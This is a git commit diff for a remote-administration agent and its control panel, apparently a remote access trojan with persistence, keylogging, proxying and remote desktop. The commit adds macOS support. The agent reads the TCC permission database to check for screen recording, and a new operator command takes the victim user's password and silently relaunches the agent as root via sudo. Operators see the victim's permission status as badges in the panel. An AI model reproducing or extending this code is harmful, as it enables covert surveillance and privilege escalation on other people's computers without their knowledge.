new mac update for permission issues.

This commit is contained in:
KingKDot
2026-04-13 10:49:36 -05:00
parent 66393d5ba4
commit 792de1e22c
21 changed files with 480 additions and 29 deletions
+1 -1
View File
@@ -22,7 +22,7 @@ RUN apt-get update \
&& rm -rf /var/lib/apt/lists/* && rm -rf /var/lib/apt/lists/*
# Install Go (latest stable version) # Install Go (latest stable version)
ENV GO_VERSION=1.26.1 ENV GO_VERSION=1.26.2
ARG TARGETARCH ARG TARGETARCH
RUN case "${TARGETARCH}" in \ RUN case "${TARGETARCH}" in \
amd64) GO_ARCH=amd64 ;; \ amd64) GO_ARCH=amd64 ;; \
+9 -2
View File
@@ -349,14 +349,21 @@ func firstNonEmpty(values ...string) string {
} }
func deriveHWID() string { func deriveHWID() string {
machineID := platformMachineID()
if machineID != "" {
h := sha256.New()
h.Write([]byte(machineID))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOOS))
return hex.EncodeToString(h.Sum(nil))
}
// fallback
h := sha256.New() h := sha256.New()
h.Write([]byte(hostname())) h.Write([]byte(hostname()))
h.Write([]byte("|")) h.Write([]byte("|"))
h.Write([]byte(os.Getenv("USERNAME"))) h.Write([]byte(os.Getenv("USERNAME")))
h.Write([]byte("|")) h.Write([]byte("|"))
h.Write([]byte(runtime.GOOS)) h.Write([]byte(runtime.GOOS))
h.Write([]byte("|"))
h.Write([]byte(runtime.GOARCH))
return hex.EncodeToString(h.Sum(nil)) return hex.EncodeToString(h.Sum(nil))
} }
@@ -22,6 +22,7 @@ import (
"overlord-client/cmd/agent/persistence" "overlord-client/cmd/agent/persistence"
"overlord-client/cmd/agent/plugins" "overlord-client/cmd/agent/plugins"
"overlord-client/cmd/agent/runtime" "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/sysinfo"
"overlord-client/cmd/agent/wire" "overlord-client/cmd/agent/wire"
) )
@@ -560,6 +561,26 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"}) _ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
return nil return nil
case "desktop_start": case "desktop_start":
if goruntime.GOOS == "darwin" {
perms := sysinfo.DarwinPermissions()
var missing []string
if !perms["screenRecording"] {
missing = append(missing, "screenRecording")
}
if !perms["accessibility"] {
missing = append(missing, "accessibility")
}
if len(missing) > 0 {
log.Printf("desktop: macOS missing permissions: %v", missing)
detail, _ := json.Marshal(map[string]interface{}{
"reason": "permissions_denied",
"missing": missing,
"permissions": perms,
})
sendCommandResultSafe(env, cmdID, false, string(detail))
return nil
}
}
env.DesktopMu.Lock() env.DesktopMu.Lock()
if env.DesktopCancel != nil { if env.DesktopCancel != nil {
env.DesktopCancel() env.DesktopCancel()
@@ -1922,6 +1943,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true} res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res) _ = wire.WriteMsg(ctx, env.Conn, res)
return ErrReconnect return ErrReconnect
case "elevate":
payload, _ := envelope["payload"].(map[string]interface{})
password, _ := payload["password"].(string)
return HandleElevate(ctx, env, cmdID, password)
case "proxy_connect": case "proxy_connect":
payload, _ := envelope["payload"].(map[string]interface{}) payload, _ := envelope["payload"].(map[string]interface{})
return HandleProxyConnect(ctx, env, cmdID, payload) return HandleProxyConnect(ctx, env, cmdID, payload)
@@ -0,0 +1,91 @@
//go:build darwin
package handlers
import (
"context"
"fmt"
"log"
"os"
"os/exec"
"strings"
"time"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
if os.Getuid() == 0 {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "already running as root",
})
}
if password == "" {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "password required for elevation",
})
}
exePath, err := os.Executable()
if err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to resolve executable path: %v", err),
})
}
validateCmd := exec.Command("sudo", "-S", "-k", "true")
validateCmd.Stdin = strings.NewReader(password + "\n")
if err := validateCmd.Run(); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "incorrect password",
})
}
args := os.Args[1:]
sudoArgs := append([]string{"-S", "-k", exePath}, args...)
cmd := exec.Command("sudo", sudoArgs...)
cmd.Stdin = strings.NewReader(password + "\n")
cmd.Env = os.Environ()
nullFile, _ := os.OpenFile(os.DevNull, os.O_RDWR, 0)
if nullFile != nil {
cmd.Stdout = nullFile
cmd.Stderr = nullFile
}
if err := cmd.Start(); err != nil {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: fmt.Sprintf("failed to start elevated process: %v", err),
})
}
log.Printf("[elevate] started elevated process pid=%d", cmd.Process.Pid)
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: true,
Message: "elevating — new process started as root",
})
time.Sleep(500 * time.Millisecond)
os.Exit(0)
return nil
}
@@ -0,0 +1,19 @@
//go:build !darwin
package handlers
import (
"context"
agentRuntime "overlord-client/cmd/agent/runtime"
"overlord-client/cmd/agent/wire"
)
func HandleElevate(ctx context.Context, env *agentRuntime.Env, cmdID string, password string) error {
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: false,
Message: "elevation via password is only supported on macOS",
})
}
+1
View File
@@ -614,6 +614,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
hello.RAM = hw.RAM hello.RAM = hw.RAM
hello.IsAdmin = sysinfo.IsAdmin() hello.IsAdmin = sysinfo.IsAdmin()
hello.Elevation = sysinfo.Elevation() hello.Elevation = sysinfo.Elevation()
hello.Permissions = sysinfo.DarwinPermissions()
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil { if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
return fmt.Errorf("send hello: %w", err) return fmt.Errorf("send hello: %w", err)
@@ -0,0 +1,64 @@
//go:build darwin
package sysinfo
import (
"os"
"os/exec"
"path/filepath"
"strings"
)
func IsAdmin() bool {
return os.Getuid() == 0
}
func Elevation() string {
if os.Getuid() == 0 {
return "admin"
}
return ""
}
func DarwinPermissions() map[string]bool {
return map[string]bool{
"screenRecording": checkScreenRecording(),
"accessibility": checkAccessibility(),
"fullDiskAccess": checkFullDiskAccess(),
"root": os.Getuid() == 0,
}
}
func checkScreenRecording() bool {
if os.Getuid() == 0 {
return true
}
exe, err := os.Executable()
if err != nil {
return false
}
if real, err := filepath.EvalSymlinks(exe); err == nil {
exe = real
}
home, err := os.UserHomeDir()
if err != nil || home == "" {
return false
}
db := filepath.Join(home, "Library", "Application Support", "com.apple.TCC", "TCC.db")
safeExe := strings.ReplaceAll(exe, "'", "''")
out, _ := exec.Command("sqlite3", db,
"SELECT auth_value FROM access WHERE service='kTCCServiceScreenCapture' AND client='"+safeExe+"' LIMIT 1",
).CombinedOutput()
return strings.TrimSpace(string(out)) == "2"
}
func checkAccessibility() bool {
err := exec.Command("osascript", "-e",
`tell application "System Events" to get name of first process`).Run()
return err == nil
}
func checkFullDiskAccess() bool {
_, err := os.ReadDir("/Library/Application Support/com.apple.TCC")
return err == nil
}
@@ -1,4 +1,4 @@
//go:build !windows //go:build !windows && !darwin
package sysinfo package sysinfo
@@ -15,3 +15,7 @@ func Elevation() string {
} }
return "" return ""
} }
func DarwinPermissions() map[string]bool {
return nil
}
@@ -61,3 +61,7 @@ func isTrustedInstallerSID(sid *windows.SID) bool {
} }
return false return false
} }
func DarwinPermissions() map[string]bool {
return nil
}
@@ -21,6 +21,7 @@ type Hello struct {
RAM string `msgpack:"ram,omitempty"` RAM string `msgpack:"ram,omitempty"`
IsAdmin bool `msgpack:"isAdmin,omitempty"` IsAdmin bool `msgpack:"isAdmin,omitempty"`
Elevation string `msgpack:"elevation,omitempty"` Elevation string `msgpack:"elevation,omitempty"`
Permissions map[string]bool `msgpack:"permissions,omitempty"`
} }
type EnrollmentChallenge struct { type EnrollmentChallenge struct {
+10
View File
@@ -444,6 +444,16 @@ p {
color: #d8b4fe; color: #d8b4fe;
border-color: rgba(168, 85, 247, 0.45); border-color: rgba(168, 85, 247, 0.45);
} }
.pill-perm-ok {
background: rgba(34, 197, 94, 0.15);
color: #86efac;
border-color: rgba(34, 197, 94, 0.4);
}
.pill-perm-no {
background: rgba(239, 68, 68, 0.15);
color: #fca5a5;
border-color: rgba(239, 68, 68, 0.4);
}
/* Hardware info toggle & panel */ /* Hardware info toggle & panel */
.pill-hw { .pill-hw {
+31
View File
@@ -195,6 +195,11 @@ function applyMenuSupportRules(clientId) {
isWindows, isWindows,
"Keylogger capture is only fully supported on Windows clients.", "Keylogger capture is only fully supported on Windows clients.",
); );
const elevateBtn = menu.querySelector('[data-action="elevate"]');
if (elevateBtn) {
elevateBtn.style.display = platform === "darwin" ? "" : "none";
}
} }
async function loadCurrentUser() { async function loadCurrentUser() {
@@ -934,6 +939,32 @@ menu.addEventListener("click", async (e) => {
return; return;
} }
if (action === "elevate") {
const password = prompt("Enter the user's macOS password for sudo elevation:");
if (!password) {
closeMenu(clearContext);
return;
}
try {
const res = await fetch(`/api/clients/${contextCard}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
});
const data = await res.json().catch(() => ({}));
if (data.ok) {
alert(data.message || "Elevation successful — client will reconnect as root.");
} else {
alert(data.error || data.message || "Elevation failed.");
}
} catch (err) {
alert("Elevation request failed: " + err.message);
}
closeMenu(clearContext);
setTimeout(() => loadWithOptions({ force: true }), 2000);
return;
}
const ok = await sendCommand(contextCard, action); const ok = await sendCommand(contextCard, action);
if (ok) { if (ok) {
setTimeout(() => loadWithOptions({ force: true }), 400); setTimeout(() => loadWithOptions({ force: true }), 400);
@@ -281,6 +281,20 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
scheduleOffline(msg.reason); scheduleOffline(msg.reason);
return; return;
} }
if (msg.status === "permissions_denied") {
clearOfflineTimer();
desiredStreaming = false;
const missing = Array.isArray(msg.missing) ? msg.missing : [];
const labels = {
screenRecording: "Screen Recording",
accessibility: "Accessibility",
fullDiskAccess: "Full Disk Access",
};
const list = missing.map(k => labels[k] || k).join(", ");
setStreamState("error", `macOS permissions required: ${list}`);
showElevateOffer(missing);
return;
}
if (msg.status === "connecting") { if (msg.status === "connecting") {
clearOfflineTimer(); clearOfflineTimer();
setStreamState("connecting", "Connecting"); setStreamState("connecting", "Connecting");
@@ -306,6 +320,102 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
} }
} }
function showElevateOffer(missing) {
// Remove previous elevate banner if any
const prev = document.getElementById("rdElevateBanner");
if (prev) prev.remove();
const banner = document.createElement("div");
banner.id = "rdElevateBanner";
banner.className = "flex flex-col items-center gap-3 p-4 rounded-lg border border-amber-700/70 bg-amber-900/30 text-amber-100 text-sm";
const labels = {
screenRecording: "Screen Recording",
accessibility: "Accessibility",
fullDiskAccess: "Full Disk Access",
};
const list = missing.map(k => labels[k] || k).join(", ");
banner.innerHTML = `
<div class="flex items-center gap-2">
<i class="fa-solid fa-triangle-exclamation text-amber-400"></i>
<span><strong>macOS permissions missing:</strong> ${list}</span>
</div>
<div class="text-xs text-amber-300/80">
The client needs elevated privileges to grant these permissions. Enter the user's password to elevate.
</div>
<div class="flex items-center gap-2">
<input id="rdElevatePwd" type="password" placeholder="User password" autocomplete="off"
class="px-3 py-1.5 rounded bg-slate-800 border border-slate-600 text-slate-100 text-sm focus:outline-none focus:border-amber-500" />
<button id="rdElevateBtn" class="button primary text-sm px-4 py-1.5">
<i class="fa-solid fa-bolt"></i> Elevate
</button>
<button id="rdElevateDismiss" class="button ghost text-sm px-3 py-1.5">Dismiss</button>
</div>
<div id="rdElevateStatus" class="text-xs text-slate-400 hidden"></div>
`;
// Insert banner above the canvas area
if (canvasContainer && canvasContainer.parentNode) {
canvasContainer.parentNode.insertBefore(banner, canvasContainer);
}
const elevateBtn = document.getElementById("rdElevateBtn");
const pwdInput = document.getElementById("rdElevatePwd");
const statusDiv = document.getElementById("rdElevateStatus");
const dismissBtn = document.getElementById("rdElevateDismiss");
if (dismissBtn) {
dismissBtn.addEventListener("click", () => banner.remove());
}
if (elevateBtn && pwdInput) {
elevateBtn.addEventListener("click", async () => {
const password = pwdInput.value.trim();
if (!password) {
pwdInput.focus();
return;
}
elevateBtn.disabled = true;
elevateBtn.innerHTML = '<i class="fa-solid fa-circle-notch fa-spin"></i> Elevating...';
if (statusDiv) {
statusDiv.classList.remove("hidden");
statusDiv.textContent = "Sending elevation request...";
}
try {
const res = await fetch(`/api/clients/${encodeURIComponent(activeClientId)}/command`, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ action: "elevate", password }),
});
const data = await res.json();
if (data.ok) {
if (statusDiv) {
statusDiv.textContent = "Elevation successful — client is restarting with elevated permissions. It will reconnect shortly.";
statusDiv.className = "text-xs text-emerald-400";
}
elevateBtn.textContent = "Done";
// The client will disconnect and reconnect; the viewer should auto-recover
} else {
if (statusDiv) {
statusDiv.textContent = `Elevation failed: ${data.message || "Unknown error"}`;
statusDiv.className = "text-xs text-rose-400";
}
elevateBtn.disabled = false;
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
}
} catch (err) {
if (statusDiv) {
statusDiv.textContent = `Request failed: ${err.message}`;
statusDiv.className = "text-xs text-rose-400";
}
elevateBtn.disabled = false;
elevateBtn.innerHTML = '<i class="fa-solid fa-bolt"></i> Retry';
}
});
}
}
function sendCmd(type, payload) { function sendCmd(type, payload) {
if (!activeClientId) { if (!activeClientId) {
console.warn("No active client selected"); console.warn("No active client selected");
+12 -1
View File
@@ -16,7 +16,7 @@ function escapeHtml(text) {
} }
function cardDigest(c) { function cardDigest(c) {
return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}`; return `${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${JSON.stringify(c.permissions)}`;
} }
export function createRenderer({ export function createRenderer({
@@ -424,6 +424,17 @@ export function createRenderer({
${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""} ${client.isAdmin ? `<span class="pill pill-admin"><i class="fa-solid fa-shield-halved"></i> Admin</span>` : ""}
${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""} ${client.elevation === "system" ? `<span class="pill pill-system"><i class="fa-solid fa-gear"></i> SYSTEM</span>` : ""}
${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""} ${client.elevation === "trustedinstaller" ? `<span class="pill pill-ti"><i class="fa-solid fa-lock"></i> TrustedInstaller</span>` : ""}
${client.os === "darwin" && client.permissions ? (() => {
const p = client.permissions;
const pills = [];
if (p.screenRecording === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-video"></i> Screen</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-video-slash"></i> No Screen</span>');
if (p.accessibility === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-universal-access"></i> Accessibility</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-ban"></i> No Accessibility</span>');
if (p.fullDiskAccess === true) pills.push('<span class="pill pill-perm-ok"><i class="fa-solid fa-hard-drive"></i> FDA</span>');
else pills.push('<span class="pill pill-perm-no"><i class="fa-solid fa-lock"></i> No FDA</span>');
return pills.join("");
})() : ""}
${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => { ${!client.online && client.disconnectReason && client.disconnectReason !== "normal" ? (() => {
const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" }; const iconMap = { panic: "fa-skull-crossbones", crash: "fa-skull", timeout: "fa-clock", network: "fa-plug-circle-xmark" };
const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" }; const colorMap = { panic: "text-red-400", crash: "text-red-400", timeout: "text-amber-400", network: "text-slate-400" };
+2
View File
@@ -45,6 +45,8 @@ const MENU_GROUPS = [
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" }, { label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" }, { label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
{ divider: true }, { divider: true },
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
{ divider: true },
{ label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" }, { label: "Disconnect", icon: "fa-solid fa-plug-circle-xmark", icolor: "text-red-400", action: "disconnect" },
{ label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" }, { label: "Uninstall", icon: "fa-solid fa-trash", icolor: "text-red-300", action: "uninstall" },
{ label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" }, { label: "Remove From Dashboard", icon: "fa-solid fa-user-xmark", icolor: "text-rose-300", action: "remove-dashboard" },
+10 -4
View File
@@ -109,6 +109,9 @@ try {
try { try {
db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`); db.run(`ALTER TABLE clients ADD COLUMN elevation TEXT`);
} catch {} } catch {}
try {
db.run(`ALTER TABLE clients ADD COLUMN permissions TEXT`);
} catch {}
db.run(` db.run(`
CREATE TABLE IF NOT EXISTS banned_ips ( CREATE TABLE IF NOT EXISTS banned_ips (
@@ -424,8 +427,8 @@ export function upsertClientRow(
) { ) {
const now = partial.lastSeen ?? Date.now(); const now = partial.lastSeen ?? Date.now();
db.run( db.run(
`INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation) `INSERT INTO clients (id, hwid, role, ip, host, os, arch, version, user, nickname, custom_tag, custom_tag_note, monitors, country, last_seen, online, ping_ms, enrollment_status, public_key, key_fingerprint, cpu, gpu, ram, is_admin, elevation, permissions)
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE(?, 0), ?, ?)
ON CONFLICT(id) DO UPDATE SET ON CONFLICT(id) DO UPDATE SET
hwid=COALESCE(excluded.hwid, clients.hwid), hwid=COALESCE(excluded.hwid, clients.hwid),
role=COALESCE(excluded.role, clients.role), role=COALESCE(excluded.role, clients.role),
@@ -450,7 +453,8 @@ export function upsertClientRow(
gpu=COALESCE(excluded.gpu, clients.gpu), gpu=COALESCE(excluded.gpu, clients.gpu),
ram=COALESCE(excluded.ram, clients.ram), ram=COALESCE(excluded.ram, clients.ram),
is_admin=COALESCE(excluded.is_admin, clients.is_admin), is_admin=COALESCE(excluded.is_admin, clients.is_admin),
elevation=COALESCE(excluded.elevation, clients.elevation) elevation=COALESCE(excluded.elevation, clients.elevation),
permissions=COALESCE(excluded.permissions, clients.permissions)
`, `,
partial.id, partial.id,
partial.hwid ?? partial.id, partial.hwid ?? partial.id,
@@ -477,6 +481,7 @@ export function upsertClientRow(
partial.ram ?? null, partial.ram ?? null,
partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null, partial.isAdmin !== undefined ? (partial.isAdmin ? 1 : 0) : null,
partial.elevation ?? null, partial.elevation ?? null,
partial.permissions ? JSON.stringify(partial.permissions) : null,
); );
if (partial.hwid) { if (partial.hwid) {
@@ -736,7 +741,7 @@ export function listClients(filters: ListFilters): ListResult {
const rows = db const rows = db
.query<any>( .query<any>(
`SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail `SELECT id, hwid, role, host, os, arch, version, user, nickname, custom_tag as customTag, custom_tag_note as customTagNote, monitors, country, last_seen as lastSeen, online, ping_ms as pingMs, bookmarked, enrollment_status as enrollmentStatus, public_key as publicKey, key_fingerprint as keyFingerprint, cpu, gpu, ram, is_admin as isAdmin, elevation, permissions, disconnect_reason as disconnectReason, disconnect_detail as disconnectDetail
FROM clients FROM clients
${whereSql} ${whereSql}
${orderBy} ${orderBy}
@@ -770,6 +775,7 @@ export function listClients(filters: ListFilters): ListResult {
ram: c.ram || null, ram: c.ram || null,
isAdmin: c.isAdmin === 1, isAdmin: c.isAdmin === 1,
elevation: c.elevation || null, elevation: c.elevation || null,
permissions: c.permissions ? (() => { try { return JSON.parse(c.permissions); } catch { return null; } })() : null,
disconnectReason: c.disconnectReason || null, disconnectReason: c.disconnectReason || null,
disconnectDetail: c.disconnectDetail || null, disconnectDetail: c.disconnectDetail || null,
thumbnail: getThumbnail(c.id), thumbnail: getThumbnail(c.id),
+1
View File
@@ -30,6 +30,7 @@ export function handleClientsRequest(req: Request): Response {
...item, ...item,
isAdmin: live.isAdmin ?? item.isAdmin, isAdmin: live.isAdmin ?? item.isAdmin,
elevation: live.elevation ?? item.elevation, elevation: live.elevation ?? item.elevation,
permissions: live.permissions ?? item.permissions,
...(live.monitorInfo?.length ? { ...(live.monitorInfo?.length ? {
monitors: live.monitorInfo.length, monitors: live.monitorInfo.length,
monitorInfo: live.monitorInfo, monitorInfo: live.monitorInfo,
@@ -666,6 +666,50 @@ export async function handleClientRoutes(
details: "Agent uninstall requested - persistence will be removed", details: "Agent uninstall requested - persistence will be removed",
success: true, success: true,
}); });
} else if (action === "elevate") {
if (user.role !== "admin") {
return new Response("Forbidden: Admin access required", { status: 403 });
}
const password = typeof body?.password === "string" ? body.password : "";
if (!password) {
return new Response("Bad request: password required", { status: 400 });
}
const cmdId = uuidv4();
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
const timeout = setTimeout(() => {
deps.pendingCommandReplies.delete(cmdId);
reject(new Error("Elevation timed out"));
}, 30_000);
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout, clientId: targetId });
});
target.ws.send(
encodeMessage({
type: "command",
commandType: "elevate",
id: cmdId,
payload: { password },
}),
);
metrics.recordCommand("elevate");
logAudit({
timestamp: Date.now(),
username: user.username,
ip,
action: AuditAction.COMMAND,
targetClientId: targetId,
success: true,
details: "elevate (sudo)",
});
try {
const result = await replyPromise;
return Response.json({ ok: result.ok, message: result.message || "" }, { headers: deps.CORS_HEADERS });
} catch (error: any) {
return Response.json({ ok: false, error: error.message || "Elevation failed" }, { status: 504 });
}
} else { } else {
success = false; success = false;
return new Response("Bad request", { status: 400 }); return new Response("Bad request", { status: 400 });
@@ -314,6 +314,21 @@ export function handleRemoteDesktopViewerMessage(ws: ServerWebSocket<SocketData>
switch (payload.type) { switch (payload.type) {
case "desktop_start": case "desktop_start":
if (!state.isStreaming) { if (!state.isStreaming) {
if (target.os === "darwin" && target.permissions) {
const missing: string[] = [];
if (!target.permissions.screenRecording) missing.push("screenRecording");
if (!target.permissions.accessibility) missing.push("accessibility");
if (missing.length > 0) {
logger.info(`[rd] macOS permission gate: client ${clientId} missing ${missing.join(", ")}`);
safeSendViewer(ws, {
type: "status",
status: "permissions_denied",
missing,
permissions: target.permissions,
});
break;
}
}
sendDesktopCommand(target, "desktop_start", {}); sendDesktopCommand(target, "desktop_start", {});
state.isStreaming = true; state.isStreaming = true;
rdStreamingState.set(clientId, state); rdStreamingState.set(clientId, state);
+1
View File
@@ -30,6 +30,7 @@ export type ClientInfo = {
ram?: string; ram?: string;
isAdmin?: boolean; isAdmin?: boolean;
elevation?: string; elevation?: string;
permissions?: Record<string, boolean>;
enrollmentStatus?: EnrollmentStatus; enrollmentStatus?: EnrollmentStatus;
publicKey?: string; publicKey?: string;
keyFingerprint?: string; keyFingerprint?: string;
+4
View File
@@ -91,6 +91,9 @@ export function handleHello(
info.inMemory = !!(payload as any).inMemory; info.inMemory = !!(payload as any).inMemory;
info.isAdmin = !!(payload as any).isAdmin; info.isAdmin = !!(payload as any).isAdmin;
info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation; info.elevation = typeof (payload as any).elevation === "string" ? (payload as any).elevation : info.elevation;
if ((payload as any).permissions && typeof (payload as any).permissions === "object") {
info.permissions = (payload as any).permissions;
}
info.cpu = (payload as any).cpu || info.cpu; info.cpu = (payload as any).cpu || info.cpu;
info.gpu = (payload as any).gpu || info.gpu; info.gpu = (payload as any).gpu || info.gpu;
info.ram = (payload as any).ram || info.ram; info.ram = (payload as any).ram || info.ram;
@@ -121,6 +124,7 @@ export function handleHello(
ram: info.ram, ram: info.ram,
isAdmin: info.isAdmin, isAdmin: info.isAdmin,
elevation: info.elevation, elevation: info.elevation,
permissions: info.permissions,
lastSeen: info.lastSeen, lastSeen: info.lastSeen,
online: 1, online: 1,
}); });